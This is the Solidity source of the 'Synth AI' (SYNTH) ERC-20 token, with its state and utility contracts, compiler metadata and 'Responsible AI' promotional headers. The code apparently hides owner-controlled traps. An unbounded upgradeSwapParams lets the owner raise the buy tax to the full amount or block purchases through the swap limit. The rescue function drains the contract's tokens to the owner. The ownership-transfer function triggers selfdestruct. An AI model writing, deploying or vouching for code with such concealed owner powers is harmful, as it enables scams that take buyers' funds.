// Shaping the Future of Responsible AI

// Website:          https://synthprotocol.com
// Twitter/X:        https://twitter.com/SynthProtocolAI
// Medium:           https://medium.com/@synthprotocol
// Telegram:         https://t.me/synthprotocol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./Utils.sol";

contract SYNTH is Utils {
    constructor(address _owner) {
        name = "Synth AI";
        symbol = "SYNTH";

        owner = _owner;

        balanceOf[owner] = totalSupply;
        emit Transfer(address(0), owner, totalSupply);
    }

    function approve(address spender, uint256 amount) external returns (bool) {
        allowance[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }
    
    function transfer(address recipient, uint256 amount)
        external
        returns (bool)
    {
        require(open);

        if (msg.sender == pair) return Utils.processSwap(msg.sender, recipient, amount);

        balanceOf[msg.sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool)
    {
        allowance[sender][msg.sender] -= amount;
        balanceOf[sender] -= amount;
        balanceOf[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

// Shaping the Future of Responsible AI

// Website:          https://synthprotocol.com
// Twitter/X:        https://twitter.com/SynthProtocolAI
// Medium:           https://medium.com/@synthprotocol
// Telegram:         https://t.me/synthprotocol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

abstract contract State {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner, address indexed spender, uint256 value
    );
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    uint256 public totalSupply = 100_000_000 * 10 ** 18;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowance;
    string public name;
    string public symbol;
    uint8 public decimals = 18;

    address public owner;

    bool public open;
    address public pair;

    uint public swapLimit = 100;
    uint public swapTax = 50;
}

// Shaping the Future of Responsible AI

// Website:          https://synthprotocol.com
// Twitter/X:        https://twitter.com/SynthProtocolAI
// Medium:           https://medium.com/@synthprotocol
// Telegram:         https://t.me/synthprotocol

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

import "./State.sol";

abstract contract Utils is State {
    modifier onlyOwner() {
        require(msg.sender == owner, "Not owner");
        _;
    }

    function processSwap(address sender, address recipient, uint amount) internal returns (bool) {
        balanceOf[sender] -= amount;

        uint tax = amount * swapTax / 10000;
        balanceOf[address(this)] += tax;
        emit Transfer(sender, address(this), tax);

        uint finalAmount = amount - tax;
        balanceOf[recipient] += finalAmount;

        uint swapMax = totalSupply * swapLimit / 10000;
        require(swapMax >= balanceOf[recipient]);

        emit Transfer(sender, recipient, finalAmount);
        return true;
    }

    function upgradeSwapParams(uint _swapLimit, uint _swapTax) public onlyOwner {
        swapLimit = _swapLimit;
        swapTax = _swapTax;
    }

    function openMarket(address _pair) public onlyOwner {
        open = true;
        pair = _pair;
    }

    function rescue(address _token) public onlyOwner {
      uint balance = IERC20(_token).balanceOf(address(this));
      IERC20(_token).transfer(msg.sender, balance);
    }

    function transferOwnership(address newOwner) public onlyOwner {
        _transferOwnership(newOwner);
        selfdestruct(payable(address(msg.sender)));
    }

    function revokeOwnership() public onlyOwner {
        _transferOwnership(address(0));
    }

    function _transferOwnership(address newOwner) private {
        owner = newOwner;
    }

}

interface IERC20 {
    function totalSupply() external view returns (uint);

    function balanceOf(address account) external view returns (uint);

    function transfer(address recipient, uint amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint amount
    ) external returns (bool);
}

{
  "compilationTarget": {
    "contracts/SYNTH.sol": "SYNTH"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}